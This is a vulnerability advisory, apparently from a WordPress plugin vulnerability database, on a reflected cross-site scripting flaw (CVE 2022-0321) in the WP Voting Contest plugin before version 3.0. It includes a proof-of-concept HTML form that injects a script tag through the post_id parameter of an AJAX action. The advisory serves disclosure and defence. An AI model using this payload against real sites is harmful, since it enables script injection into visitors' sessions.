WP Voting Contest < 3.0 – Reflected Cross-Site Scripting | CVE 2022-0321 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape the post_id parameter before outputting it back in the response via the wpvc_social_share_icons AJAX action (available to both unauthenticated and authenticated users), leading to a Reflected Cross-Site Scripting issue

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wpvc_social_share_icons" />
      <input type="hidden" name="post_id" value='asd"/><script>alert(/XSS/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Affects Plugins

wp-voting-contest

Fixed in 3.0

References

CVE

YouTube Video

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Brandon James Roldan

Submitter

Brandon James Roldan

Submitter twitter

Verified

Yes

WPVDB ID

286b81a0-6f6d-4024-9bbc-6cb373990a7a

Timeline

Publicly Published

2022-02-16 (about 3 years ago)

Added

2022-02-16 (about 3 years ago)

Last Updated

2022-04-08 (about 3 years ago)

Other

Published

Title

Published

2022-11-28

Title

Photo Gallery < 1.8.3 - Stored XSS via CSRF

Published

2024-03-07

Title

Pz-LinkCard < 2.5.3 - Admin+ Stored XSS

Published

2023-01-20

Title

Simple Staff List < 2.2.3 - Contributor+ Stored XSS

Published

2023-11-08

Title

Medialist < 1.4.0 - Contributor+ Stored XSS

Published

2024-04-30

Title

WordPress Header Builder Plugin – Pearl < 1.3.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode